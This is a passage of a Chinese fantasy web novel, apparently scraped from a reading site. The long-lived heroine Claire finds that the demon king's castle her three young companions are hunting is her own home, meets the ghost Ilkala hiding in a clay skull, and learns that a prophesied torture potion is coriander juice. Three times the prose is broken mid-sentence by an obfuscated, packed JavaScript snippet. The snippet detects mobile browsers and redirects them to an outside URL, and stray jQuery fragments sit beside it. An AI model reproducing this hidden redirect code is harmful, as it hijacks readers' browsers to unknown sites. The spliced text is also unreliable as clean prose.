把银片放进去,并且用绳子系紧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559898|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边吵闹的声音终于停止了,桃子也不再生长,只是桃树仿佛被开启了震动模式,一直小幅度晃动。 “银片的魔法已经被隔绝了啊……唔,那个人似乎给它们施加了回到原位上的魔法。” 但“花盆”被砍了,它们动不了。 “我想我应该可以帮忙做个善后。”克雷尔说。 几个少年都累得不行了,要由她们挨个把树栽回原本的位置,真的会累趴。 克雷尔把岛屿的时间回溯到一天前,记住上面桃树的位置,然后全部连根拔起,栽…… “等一下!” 还没等栽回去,就见蒂娜一跃而起,拉上安西娅和埃弗里,飞快地往其中一个树坑跑过去,边跑边回头大喊,“先别栽,等我两分钟!两分钟就行!” 地面坑坑洼洼,坑里满是细细的树根和碎沙石头,其中一个坑里有一块黑色的物体,吸引了蒂娜的注意。 它看起来和装银片的盒子差不多宽。 “不是盒子啊。”蒂娜有些失望,来都来了,还是决定把它刨出来看看。 光刨就花了十几分钟。那是一把很大很重的剑,立起来能到她的肩膀。 它由黑铁制作,和金子没有一点关系。 如果不是剑柄上恰好有黑桃形状的凹槽,银片放进去正合适,没人能把它和她们要找的金剑联系在一起。 “还不错,”蒂娜费了好大力才拎起来,比她想象中还要重,“我喜欢它。” 再过上两三年,等她身量更高更健壮,它说不定会是她最趁手的武器。 蒂娜几乎是立刻决定,哪怕是为了它,她今天晚上也要多吃两斤肉。 “确实很不错,”安西娅在口袋里摸索半天,只有先前收进口袋的卡拉石勉强能用。 她把它放在剑刃,立刻变成两半摔在地上,“即使是最精湛的武器匠人,想打造这种程度,也需要十年以上吧。而且还没附魔。” 没附魔,就说明是无主之物。 唯一的问题是,黑剑和银片的材质完全不同,银片用的是最普通的那种,通常用来打钥匙。这俩放在一起很不协调。 但是看蒂娜这么兴奋,还是没必要说了。 把树栽回去,几人简单吃了个饭。锅碗瓢盆都没法用了,于是蒂娜倾情分享,刚才还爱不释手的黑剑,被拿来当烧烤的铁板用,剑面很宽,正好适合煎东西。 没人有精力再做一顿丰盛的晚餐,干脆把面包片、肉片一股脑全码上去,配上唐恩给带的蘸料,味道也不差。 在放牧人的小屋里凑合了一宿,第二天天蒙蒙亮,就继续踏上征途。 把最后一站甩在身后,她们离魔王城堡已经很近了,没有需要收集的东西,前进的速度比之前快了一倍不止。 只是克雷尔隐约觉得,路边的景色有些眼熟。 或许是她在做协会任务的时候,从这里经过过。 眼看景色越来越眼熟,克雷尔心里的疑惑越来越大,忍不住问:“你们确定路线正确吗?” “是对的,我们确认过很多次。” “魔王城堡长什么样?” “整体造型有点像方形蛋糕上插了三根蜡烛,黑紫色调,大门也是黑的,镂空雕花设计,雕的是倒悬的蝙蝠,露出尖牙。” “而且坐落在半山腰上?” “而且坐落在半山腰上……嗯?我们之前有说过这个吗?” 克雷尔:“没有,但漫画里都这么画。” 蒂娜吐槽:“哪个好人会在大门上雕难看的蝙蝠啊,太怪了。” “……” 在解释那个所谓的魔王城堡是她家,和辩解自己不是魔王之间,克雷尔选择为自己的设计申冤: “说不定只是个想玩谐音——‘福到了’的人呢?” 不过确实不太好看,连帮她盖房子的朋友,都忍不住吐槽了很多次。 蒂娜有点没听懂:“?” 路线越来越熟悉,克雷尔闭着眼睛走也不会出错。魔王城堡指的就是她的家,这下连她自己都没办法否认了。 真不错,她成了魔王……在她加入讨伐魔王的小队之后。 “魔王城堡”坐落在半山腰上,周围没有一个邻居,黑色大门掩着,没有落锁,却无法打开。 埃弗里深吸一口气,抬头注视着这座城堡,“和预言里的一模一样,气势恢宏呢。” 克雷尔:“……谢谢。” 埃弗里疑惑地看她一眼。蒂娜压根不关注她们的反应,此时她正心潮澎湃,摩拳擦掌,“马上就要见到无恶不作的魔王了!” ……无恶不作的魔王就站你旁边。 无恶不作的魔王说:“要我帮忙开门吗?” 7. 游客参观指南 “不用了,现在还没到危机时刻,”安西娅用力推了一下门,没打开,“不过,如果我们真的和魔王打起来,并且不敌的话,到时候就要靠你对付魔王了。” 克雷尔想象了一下那个画面,“好吧,如果我能做到的话。” 她退到一边,把发挥的空间交给三人组。 门很厚重,推不开,抓住镂空的地方可以左右滑动,但增加的那点空隙无法让人通过。 蒂娜甩了甩酸疼的手臂,“为什么门上连个钥匙孔都没有?” 谁家魔王大门上会有钥匙孔?那也太没格调了。 并不是说克雷尔承认自己就是魔王,而是她有一段时间沉迷这类的漫画,所以在盖房子的时候,稍微参考了一下。 ——包括她主动和安西娅三人搭话,也因为她们是漫画里经典的讨伐魔王三人组。 想要打开门其实很简单,在门左边的墙壁上,有一个不明显的按钮,按一下,就会弹出一个九宫格。 有点类似智能手机的数字密码锁——建房子时她稍微怀念了一下前世生活。 在房子建好后的几百年里,她也曾想过要不要换掉,但毕竟是个念想,一直没动。 数字密码想破解很难,除非那份预言里连这个都有,或者她们直接把门拆了,否则花上三天三夜也进不去。 “我想到办法了。”埃弗里突然说。 “蒂娜你过来一下,你看,把这个杆子往里推,推到这种程度,”埃弗里示意蒂娜仔细看,“门和墙壁就会有一部分重合,这个形状……” “是银片!” 银片已经嵌入金剑里,拿不出来,蒂娜把剑举起来,让银片对准凹槽,门缓慢地打开了。 虽说开了,却没一个人主动走进去。 安西娅注意到克雷尔的表情,“看来我们在想同一件事,居然能用银片打开,这真是……匪夷所思。难道预言纸也是真的?它给的路线是对的,银片也确实有用,只是在时间上骗了我们吗?” 克雷尔:“是啊,的确奇怪。” 看来她必须重新审视一下所谓的“预言”了。 “那些先抛到一边吧,现在的问题是,”蒂娜挠了挠头,“虽然门已经开了,但我们要敲门吗?” 克雷尔:“我以为你们是来讨伐魔王的。” 她以为不进去是因为担心有陷阱,居然是在犹豫要不要敲门? “我们确实是。但她现在还不是魔王啊!是啦,城堡和预言画上的一模一样,一个像素的区别都没有,但直接闯进去还不太好吧?” 克雷尔率先推开门,走进去,“现在,请进吧。” 她没有掩盖自己是房子主人的事实,不过没人会往那方面想。 埃弗里严肃地发出警告:“克雷尔说得对,先进去吧,不过提高警惕,说不定魔王已经注意到我们了,在请君入瓮。” 门打开的声音很大,城堡其实只有三层楼再加一个花园而已,如果是五感敏锐的人,不可能注意不到。 几人小心地走进去,从入户花园中的小径穿行。 虽说是冬天,花园也枯败得太严重了,四季常开的花、长青的树,在种子店多的是。 但这里的喷泉水池是空的,砖石开裂,土壤板结,依稀能辨认出是肥沃的土地。 花园里寥寥几棵花树不是枯死,就是倒下,看起来死气沉沉。唯一的生气,来源于枯树上长的几朵木耳。 蒂娜问:“预言画里也是这样的吗?” 埃弗里摇了摇头,预言画里没有画这部分。 推开一楼的门,这里倒是和预言画里差不多,正中间一把宽敞精致的椅子——虽然没有坐在上面的魔王。 墙壁两边陈列着各种各样的东西,光线太暗,看不真切。 安西娅呼出一口气,雾气在空中蒸腾挥散,“这里有一种暗不见光的潮湿森冷感。” 克雷尔看了她一眼。 位于山背面的房子,在冬天潮湿森冷才是正常的,把窗帘拉开就不会暗不见光了。 “比起这个,我们都进来这么久了,为什么没有人来阻止我们的闯入呢,不是魔王吗?” 埃弗里摇头,“我也不太懂。” 事实上,她们都是第一次听说有魔王的存在。 其她有“王”的种族,比如蜂群、蚁群,她们都是典型的思维一体、集体即个体的种族,天生的王相当于共同的思维神经中枢。 “王”这个单词正是由“联结”衍生来的。 其她种族没有王存在,也没有王存在的必要。 而魔物们又是无意识的混合体。 目前埃弗里的猜测分为两种,一个是魔王其实是个人族——外表和人类一样。因为能和魔物建立某种联系,所以称之为魔王。 另一个猜测是高阶魔物,就像拉布列吞噬树后,变成树的模样,它也吞噬了人,所以才拥有人的外表和思维,同样能够联结魔物。 前者的可能性比较大,在目前可追溯的历史书籍中,从没出现过后者的记录。 埃弗里也希望是前者,是人类,至少可以交流。想要说服一个大坏蛋很困难,但可以沟通,就意味着事情没那么棘手,起码能尝试威逼利诱。 克雷尔:“我好像还没问过这个问题——在预言里,魔王做了什么过分的事情吗?” 提到这个,蒂娜就非常反感,压低的声音也扬起来一些:“她根本不把别人的命当命,只要有个由头就开始杀人,弄得大陆上哀声怨道!” “是这样啊。”克雷尔说,她对此没什么感觉,除了觉得有点怪。 “你居然是这种反应。”蒂娜很惊奇地盯着她看,“我们对其她人提到预言时,不管她们刚开始有多严肃,只要听我们说魔王如何滥杀无辜,就立刻觉得我们是在开玩笑。” 无论是聚集地的长辈,还是学校的老师,都不相信三人的话,她们看不到预言上的字,不认为预言是真的,更不认为真的会有魔王出现。 “我们都知道,动物杀死另一个动物是为了果腹。在有食物的情况下,杀死另一个动物的意义在哪里呢?况且是杀死众多拥有思维的同类。” 学院长听完她们的故事后,委婉地对她们说。 “我找不到支撑‘魔王’展开杀戮的理由,我想,这也是大家都不认为预言属实的原因。它缺乏逻辑。如果它只是一个故事,那这个故事的确很有创造性,真的很不错——你们有人想加入学校的报社吗?” 学院长这个反应非常正常。 如果有人写了篇幻想小说,说空气其实是致死元素,自然死亡的人并非自然死亡,而是被空气害死的……是个不错的幻想。 但如果是在现实中,有人信誓旦旦地说这种违反基本逻辑的话,并且要求大家都重视起来,只会被人当神经病。 大家都很好,没人说她们是神经病。 如果不是只有她们可以看到预言上的字,她们也不会相信。 为了证明真伪,她们才踏上寻找魔王的路途。预言中的种种都得以应验,只是她们都进城堡了,还没见到魔王,这点很奇怪。 克雷尔说:“说不定魔王出门了,没在家,你们不用这么紧张。” 埃弗里点燃了一盏非常小的魔法灯,只有豆大点光,几人就凭借这么一点光,谨小慎微地前进。 突然,走在最前面的埃弗里捂住嘴,小声惊呼:“这是……” 微弱的灯光照亮了“展品”,是一个灰白的头骨,黑洞洞的眼眶正面向来者。 安西娅握紧拳头,稳了稳语气,才让声音听起来不那么颤抖:“可能我们之前对魔王的判断都是错的,她已经变成预言那样了……竟然将人的头骨当做大厅的装饰品……” 那是泥巴捏的。 克雷尔都能中二到复刻漫画里的魔王城堡了,捏个骷髅出来吓人玩,再合理不过。 问题是,这仨孩子好像真的被吓得不轻。 埃弗里的声音虚得快飘起来了,“头骨上遍布裂纹,可见生前遭受了何等的痛苦。” 新手不要轻易尝试烧陶,技艺不精,容易炸坯。 “我来,我经常和动物打交道,”蒂娜挤到最前,用手摸了一下头骨,飞快把手缩了回来,咽了口唾沫,“确实是骨头的触感。” 据说在陶土里加了一些猪骨粉,可以增加陶瓷制品的硬度和光泽,好像加太多了,克雷尔依稀记得自己是因为配比不对,才导致失败的。 她其实能理解,上百岁的成人,都未必见过自然死亡之外的同类尸体,在十几岁的年纪,谁能接触过真正的人骨? 这里又是传说中“杀人如麻”“无恶不作”的魔王老巢,就算看到一条晾衣绳,也会忍不住怀疑它身上背负了十几条命案。 埃弗里正在低声斥责蒂娜乱摸,万一上面涂了什么腐蚀药剂,手还要不要了? “你们先不要说话,过来,这个头骨……有鬼。”安西娅指着骷髅其中一处说。 “啊!确实有鬼。” 埃弗里慌乱地找出一把镊子,小心翼翼把头骨挪开,安西娅把显形药剂撒在空无一物的展示台上,一个人形逐渐显现出来。 她的外形和精灵没什么两样,只是身体是半透明的,体型只有巴掌那么大。 蒂娜深吸一口气:“这是!” “是鬼。刚才她们已经说了。”克雷尔面色难看。 埃弗里同样面色难看,“居然把鬼封印在头骨里,还心思险恶地施加了隐形魔法,就是为了让鬼不被发现,不被救出,究竟是什么样的人,才能做出这种惨无人道的事?!” 克雷尔冷笑着重复:“是啊,究竟是什么样的人,才能做出这种惨无人道的事?” 鬼正在慢慢苏醒,听到克雷尔凉嗖嗖的声音,顿时清醒了,身体抖了一下,原本要脱口而出的怒骂憋了回去。 她飞快揉了揉眼睛,睁开眼就发现自己被灯照着,还有四个人齐刷刷地盯着她,顿时露出了惊恐的表情。 埃弗里以为她还在害怕,“你叫什么名字?没关系,你现在已经安全了。” “……伊尔卡拉。” 看着为救了她而雀跃欣喜的三个人类和精灵,再看看黑着脸的克雷尔,伊尔卡拉觉得自己并不安全。 “好的,伊尔卡拉,鬼都是有任务在身的,你可以继续去完成你的任务,你现在自由了。” 她一直是自由的。在被她们吵醒之前,她正在自由地睡懒觉——因为不想去做任务。 伊尔卡拉揉了揉因久睡而僵硬的脸,不得不面对新的问题,这栋房子的主人正虎视眈眈地盯着她,让她不禁埋怨起来,“你们不该把骷髅掀开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559899|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 三人疑惑。 埃弗里小心地问:“是会触发什么机关吗?” “我没察觉到有机关,”克雷尔说,“她可能刚醒,脑子不清醒,在胡言乱语,我会安慰她的。” “好吧。” 她们接受了这个解释,鬼的脑容量极大,里面包含的记忆冗杂繁多,在脑子不清醒时蹦出几句奇怪的话,一点都不奇怪。 克雷尔拎着伊尔卡拉到了一边。 不同于前世,这里没有“天堂”“地府”的概念,人死了就是死了,不存在死后变成幽灵。 “鬼”自然也与前世不同,却又有些共通之处。 所有种族死后都会被埋葬,成为大地的养分,滋养世间万物,而鬼正是受了亡者的滋养,自天地间诞生的灵体。 也有人说,她们是从逝者的执念中诞生的。 大约一千年有一个鬼诞生,她会拥有这千年来所有逝者的记忆,是真正的生而知之者。 她们拥有的不只是记忆,还有逝者在死亡降临的那一瞬间的执念,驱使着她们,不停地辗转于大陆上的每一个地方。 并不是说,人们在最后一秒所想的,是什么惊天动地的伟大梦想。 彩色的糖果纸、忘记放在哪里的鹅卵石、金色橙色与火红的晚霞、咬开未成熟李子后从舌尖迸开的酸……只是这种程度的小事,夹杂着“如果能再看一次日出”的微小愿望。 人在最后所能想到的,只是这些细小而无意义的事物。 鬼正是从这些小事中诞生的。 人们的执念总是大同小异。 看一次朝阳至少能完成一百个逝者遗愿,吃一碗奶油炖鸡又能完成一百个。 也并非所有人都有执念。 可毕竟跨度长达千年,再简单的工作做久了也会厌倦,所幸鬼只是灵体,不存在生死,是真正意义上的永生物种。她们有的是时间。 据克雷尔所知,伊尔卡拉赖在这里不走,已经有好几十年了,完全没有急迫的样子。 她找不到赶她走的理由。 她是最近一千年诞生的鬼,意味着她拥有克雷尔所有朋友的记忆。 克雷尔不会把记忆与人等同,不过足以让她对伊尔卡拉的大多数行为,睁一只眼闭一只眼。 “隐形魔法用的可真不错。但我好像跟你说过,一楼二楼你都可以住,只是不能动我的东西吧?” 伊尔卡拉顾左右而言她,“看到你和别人一起出现,真的吓了我一跳,你什么时候喜欢哄小孩玩了?” “这不是你该操心的事,还有,说话注意点,她们是来讨伐魔王的,我是魔王,别露馅了。” 伊尔卡拉做了个制止的手势:“停,停,我有点跟不上你的节奏。” 克雷尔简单说明事情经过,没想到伊尔卡拉对此兴致勃勃,说什么都要凑个热闹。 克雷尔不表态,三个少年想了想同意了,埃弗里说:“鬼毕竟有着那么多人的记忆,说不定能帮上忙,魔王城堡遍布机关……” 伊尔卡拉:“没有机关。” 灯坏了都懒得修的人,会在自己家里装什么机关吗? “是吗?没有机关恰恰说明了魔王的傲慢与强大。” 伊尔卡拉用力点头表示认可,克雷尔确实强大且傲慢——某种程度上是这样。 她又问:“找到魔王之后,你们打算怎么解决?” “和她对话。” 克雷尔意外:“不杀了她吗?” “没有人出生是为了被别人杀死。” “但她不是无恶不作的魔王吗?” “预言上是这么说的,而且我们还看到了头骨。但预言纸可能是假的,头骨可能是捡的——虽然也很过分。但还没见到魔王,一切都还不明朗。至少我们要把事情弄明白,之后再决定是要封印她,还是劝降她。” “结果还不是杀了她。” “当然不能那么轻易就说出杀人的话啊,人的生命那么宝贵,预言里的魔王就是因为轻贱别人的性命才是魔王的——如果预言是真的话。” 克雷尔摇摇头。 这个年纪的孩子都有种不切实际的天真勇敢,包括看了预言就单枪匹马出发也是。 “是你的问题。我问的是解决方案,杀戮只能终结,充当不了解决方案。”伊尔卡拉坐在克雷尔肩膀上,问,“你为什么觉得把魔王杀了就能解决问题了,活得太久了就会这么想吗?” 她是真的在问。 虽然是永生种,虽然拥有无数人的记忆,但她诞生的时间还不是很长。 而且,她是从无数的死亡中诞生的。 杀戮其实是个很重的词,尤其是对于伊尔卡拉而言。她的存在本身就意味着,正常、合理、自然死亡的人,依旧对生有着渴望。所以她不能理解。 或许对于长生种来说,大多数种族的生命都如昙花一现般短暂,因为见惯了,所以就没那么珍贵。是这样吗? “我不清楚别的长生种怎么想,”克雷尔轻声说,“不过对我来说,倒不是活得多久问题,而是把别人当人,还是当游戏里的npc的问题。” 克雷尔喜欢这个世界,非常喜欢,她几乎已经完全被同化了,但她不想融入。 “说不定那个预言是真的,我真是魔王也有可能。” 8. 卡兹奥尔不说话 “虽然我拥有你朋友的记忆,而且不止一份,所以稍微能理解npc的意思,也能理解你为什么这么说,但,不至于吧?”伊尔卡拉挠头。 克雷尔笑了一下,“我们继续跟着她们走吧,至少现在不用担心我身份暴露后被杀了。” “不要真的把自己代入魔王的角色!” 克雷尔再次笑了一下。 她融入过这个世界,非常顺利,如鱼得水。 虽然对前世心存怀念,也想回去,但她本来就是随遇而安的人。这个世界又有魔法,又有其她种族,她穿越来时只有一二十岁,正是和三人组差不多的年纪。 跃跃欲试想要冒险的心情,她也有过,只是现在忘记了。 她一边交朋友,精灵、人类、狼人,各种族的都有,一边学习语言和常识,到处走到处看,没有她不敢去的地方。 她实在没资格指责埃弗里她们天真鲁莽,她那时比她们还要肆无忌惮、还要张扬,脑海里从来没有出现过“担忧”“害怕”的字眼。 世界于她们而言,只是一块巨大的蓬松云朵,柔软,而不真切。 当然了,在云朵下,会有突如其来的雨,也有雪花和冰雹,可你能想到最糟糕的结局,也不过是被淋个落汤鸡,或者狼狈地躲避冰雹,被砸几下脑袋。 就连这体验都显得那么新奇有趣,只觉得自己的时间不够分配。 那时她还没想到自己会活那么久。 在第一个百年到来时,她和朋友们说了些“虽然我只能活一百二十年,但我没有虚度,活得很值,你们不要难过”之类,现在想起来只会想笑的话。 她那时当然没死,一直没死,在参加了一个又一个朋友的葬礼以后,依旧莫名其妙地活着。 无论是前世还是现世,都有非常完整的死亡教育,人们渴望生,却也正视死亡,对死亡的态度颇为豁达。 陪伴朋友最后一段时光,然后在墓碑上刻上名字,过了一段时间后,重复这个操作,直到最后一个朋友也离世。 听起来可能有点悲伤,实际上做这些时和预想的不同,并不感到难过。 但是,“瞬间”。 偶然找到了某个朋友会喜欢的东西,为之欣喜而后,发现它永远无法送出的、茫然的瞬间。 没人能阻止那个瞬间的到来。 掌管时间的卡兹奥尔也无法做到,因为她只是一片黑暗。佩洛西同样不行,但在白日,她会给人们看风吹起时摇晃的树,流动的云,小狗哒哒跑过留下的爪印。 这么说不是为了抱怨什么,长生是不是祝福见仁见智,唯一能确定的是,它绝不是诅咒。 她喜欢这个世界,喜欢自己漫长的寿命。 她依旧很期盼每天晨起看到的朝阳;喜欢刚出炉面包的香气,和小孩子从身边飞奔而过时带起的风;会徒步跨越千里,只为看一次龙的迁徙,也会因为自己琢磨出的,一些奇怪的小魔法而忍俊不禁。 人不会只活在某个难过的瞬间。 遗忘是人体机能,趋利避害也是。 她喜欢这个世界,以旁观者的视角。 她不和同事们一起出任务,拒绝了她们送过来的面包,一次也没有和那些小孩子玩过。 即使所有人都在同一时间去世,她也不会感到难过。 这是专属于她的生活小窍门。 不存在什么为朋友去世而悲痛欲绝,从此封闭心门,不敢交朋友——这么说,像是把责任归咎于逝者,实在太过无理。她只是不想再陷入那个瞬间。 她知道自己不是冷静,而是漠视,所以,因为她无动于衷太久了——既然人们于她不值一提,那么摧毁也没关系——以至于变成一个无恶不作的恶魔吗? “不要这么坦然地接受自己会变成恶魔的命运啊!”伊尔卡拉踩着她的肩膀,揪着她的耳朵重复,“你没问……你可能是有点问题,但没到那种程度。” 克雷尔示意她压低声音,不要惊动其她人,而后问:“我们是朋友吗?” “算是吧,算是吗?”伊尔卡拉其实不太确定,“我还没有交过朋友呢,一直在完成任务。” “在我的陶瓷摆件里完成任务吗?” 伊尔卡拉不满地“啧”了一声。 以克雷尔的标准来看,她们不算朋友,虽然伊尔卡拉是永生种,不会死亡,就算是有谁要参加葬礼,那也是伊尔卡拉参加她的。 但她们没有因此成为朋友。 “如果一个人仅仅因为不交朋友,就会变成恶魔,那也太荒谬了,你觉得这真的可能吗?”伊尔卡拉问。 让一个人发生如此大的转变,必然要有个契机。而克雷尔有些懒散孤僻,她的生活一成不变,缺乏变化,没有契机。 甚至不能指望天降陨石把她砸得精神失常,性情大变,因为那种程度她可以轻而易举地躲过。 “她们手里不是有预言吗?再确认一下吧,克雷尔,你还记得预言的具体内容吗?” “实际上,我没看过。” 实际上,埃弗里提出要给她看,但她拒绝了。 “为什么不看!” “你玩游戏时不会跳过你不感兴趣的剧情吗?” 经典冒险故事的预言,无论载体是书是画还是石头,内容都大同小异,那种猜都可以猜到的东西,就算是永生种,看了都会觉得是在浪费时间。 克雷尔也只是对三人小队感兴趣而已。 伊尔卡拉跟她对着瞪了一会儿眼,见她没什么反应,转头去找埃弗里了。 “嘿!你看起来很聪明,所以你记得预言里关于魔王的具体内容吗?越详细越好,这有助于我们了解她的弱点。” 埃弗里想了想,“这方面好像没有,不过你之前被困在城堡里,你知道城堡里的实验室在哪里吗?我们必须去那里一趟。” “这里没有实验室啊。” 埃弗里松了口气,“看来不需要去救人了,谢天谢地!看来现在还没有发展到那种程度。” “那种程度是指?” “魔王制作了一种非常恐怖的危险药剂,是从一种我们从未见过的植物中提取出来的,拥有很强的伤害性,她以此折磨人们,从中取乐。” 伊尔卡拉趁埃弗里不注意,瞥了克雷尔一眼,制作药剂?她在药剂学上可没有一丁点天赋,培养植物上也是。 如果在二楼的书房里努力翻,说不定还能找出,当初她的导师劝她放弃药剂学、不要再残害植物了的书信。 “从未见过的植物?长什么样子,叫什么名字?我在我的记忆里找找看,如果真的危害性特别强,我脑海里应该有它的信息。” “预言里的每个种族,甚至是动物,被强行灌了那种药剂之后,都会痛苦地满地打滚,目眦欲裂,求魔王给她们一个痛快……” 埃弗里不忍,叹了口气,“我记得那种药剂叫香菜提取液,所以那种植物应该是叫香菜,很难想象它的功效如此可怕,明明名字听起来那么正常,甚至像是一种蔬菜。” “……?” 伊尔卡拉表情一言难尽:“……是不是一种绿色的,长得有点像草,叶子像是裂开的伞,并且味道刺鼻的植物?” 埃弗里本来没抱希望,听她这么说,惊喜交加,立刻道:“对!你见过这种植物,还知道它的味道?你知道破解这种药剂需要什么吗?或者它长在什么地方?必须赶紧通知……” “不,这些都不重要,你的意思是魔王把香菜榨汁,然后残害别人,逼她们喝下去是吗?” 见埃弗里居然表情严肃地点头,伊尔卡拉终于忍不住了,哈哈大笑,“然后她们还痛苦地打滚……不行,我也想满地打滚了,不过是被笑的。” 这下不止埃弗里,三人组一起怒视着她,蒂娜握着拳头,眼睛瞪得很大:“别人的痛苦,对你来说,难道是什么可笑的事情吗!?” 不难看出,如果不是一拳下去,以鬼现在的体型真的会被砸扁的话,她早就冲上去揍人了。 安西娅拦住她,虽说品性和种族没有关系,但鬼这个种族的诞生机制……很难想象,她们中会有以她人痛苦取乐的个体。 “我们对香菜所知不多,看你这个反应,是我们错误理解了预言的意思吗?”安西娅问。 她们太郑重太严肃,多少有点扫兴,这种事情还是要知道内情的人一起来笑才有意思啊,伊尔卡拉装模装样地咳嗽一声,“我当然了解,不过还是让克雷尔给你们解释——” 她转向克雷尔,看到克雷尔难看的脸色,才意识到什么,收敛起笑容。 她是鬼,所以知道。 克雷尔跟她那些朋友讲起过前生的事。就像她对这个世界感到兴致勃勃一样,朋友们也很好奇另一个不同的世界。 大到宇宙飞船量子纠缠,小到蚂蚁水蚤,她能从记忆里搜刮出多少,就说了多少。 其中当然有提到自己最讨厌的蔬菜。 和朋友闹矛盾,吵架赌气的时候,也会恼羞成怒说“要是这个世界有香菜就好了,我一定把它直接塞你嘴里”。 笑完发现,预言的真实性居然提升了。 知道香菜,且还活着的人,好像也只剩下克雷尔和她了。 伊尔卡拉表情变得讪讪的,“那什么,我也住在这,我还知道香菜,说不定制作香菜提取液的魔王,指的其实是我呢?” 安西娅说:“理论上有这个可能,不过—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559900|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 因为伊尔卡拉先前的表现,蒂娜对她的好感降到了最低,嗤笑一声,嘲讽道:“就你这个不到巴掌大的身体,还魔王?打你跟打苍蝇一样。” 伊尔卡拉斜睨了她一眼,从桌子上跳下去,身量猛然拔高,最终停在两米一,正好比蒂娜高一头。 她环胸俯视蒂娜。 她本来就拥有精灵族的外表——因为精灵寿命相对较短。她略带敌意和优越感地看着蒂娜,让蒂娜忍不住想要呲牙干架。 埃弗里把手按在蒂娜肩膀上,“鬼没有实体,无法被攻击。这也是她不可能是魔王的原因。” “还有,她们是灵体,可以拥有任意形态。意思是她们甚至可以变得比雅诺克拉山还要高,只不过体型越大越耗能罢了。回学校后你必须要补课了。” 蒂娜表情不服,却没说什么。 安西娅若有所思,“说到这个,伊尔卡拉你原本关在魔王城堡里的骷髅中,无论是主动关,还是被动关,你都肯定见过魔王,是什么让你打算替她顶罪呢?” “没有人说到这个!这个问题很突兀!你们难道没见过她?预言里没画她的样子吗?” 虽然知道她是在转移话题,安西娅还是解释了,“预言画走的不是写实派。现在轮到你回答了。” 伊尔卡拉还想要找话搪塞过去,被克雷尔阻止,她顿时明白没遮掩的必要了,后退一步,把主场让给克雷尔。 “如果这个房子的主人就是魔王的话,她确实见过,你们也见过——我是房子的主人,但我不清楚自己未来是不是魔王。” 克雷尔说完环视四周,可以预见,接下来会进行一场漫长的对话,她开始懊恼自己为什么没在这里摆放沙发,以至于她们只能站着。 她对还在消化信息量的三人组说,“我知道你们很费解,现在可以随意提问,我会回答的。” “骷髅……?” “只是陶瓷。” “黑暗?” “灯坏了。” “城堡?” “喜欢这种建筑风格。” “但是怎么和预言里一模一样啊!” “这也是我的疑惑。” 问答环节持续了半个小时,总算把情况梳理清楚了,三人你看看我,我看看你,大家的想法都差不多。 如果克雷尔真的是打算干坏事的魔王,肯定早就开始做了,她有这个能力。 她们给克雷尔看了随身携带的预言纸,然而无论怎么看,上面都是一片空白。 就和她们出发时一样,除了她们三个以外的其她人,都看不到上面的文字,所以没人相信她们的话。 本以为“魔王”亲自来看会有不同的。 埃弗里:“有可能是预言出错了,或者我们理解错了,考虑到香菜,后者的概率更高。预言放在精灵的圣地,我们一起过去,说不定一切都明朗了。” 安西娅也说:“你们有什么要带的东西吗?收拾一下,我们这就出发。” 其实没什么要收拾的东西,克雷尔看出她们三个有话要说,和伊尔卡拉一起离开了。 安西娅走到窗边拉开窗帘,室内稍微明亮了一些,可以勉强看清东西,她用一种今天天气不错的口吻说:“看来克雷尔是怕热不怕冷的类型。” 不然不会把房子建在山背面。 “不重要,你还有心思想这个,”埃弗里头疼,“香菜确实是我们理解有误,但尸横遍野……” 总不可能是被玩具麻醉刀捅,然后集体睡着了吧,会这样吗?太荒谬了。 安西娅摇头:“也有可能预言纸是假的,预言画也是假的,它们身上不止一个疑点,不是吗?” “难说,它已经成功预言了香菜了。” “只是这一个征兆而已。” 埃弗里:“还有这栋房子。它建于750年前,但预言出现在这个世界上,是在1000年前。这是第二个预言成功的。” 安西娅:“克雷尔先看过预言,然后建的房子,我觉得存在这个可能性。” “预言画一直保存在圣地,我刚才特意问了,克雷尔没见过。还有,记得吗?我们是第一个发现预言的人。” 克雷尔表现得也不像是提前知道预言的样子。 大厅里陷入一阵诡异的沉默。 “我并不想泼冷水,”埃弗里用力搓了搓脸,提起精神,“往好处想,至少我们知道了克雷尔是我们的朋友,而且她不想杀人,这绝对不是最差的结果,对吧?即使预言是真的,我们也可以提前应对。” 蒂娜有些泄气,直接一屁股坐在地上,“救命,我不要当英雌,也不要我的朋友当反派,就不能直接大团圆结局吗?!” 9. 计划外的失踪 “就不能直接用魔法传送吗?非要走路。” 已经分不清这是伊尔卡拉第几次抱怨了,明明她们刚开始赶路,还没走出多远。 克雷尔眼皮也不抬一下:“根本没有在走路的人、或者鬼,没资格抱怨。” 伊尔卡拉坐在克雷尔肩膀上——这么做是因为她和三人组不熟。 外套上一个多余的纽扣都没有,她只能勉强抓住一点领子。 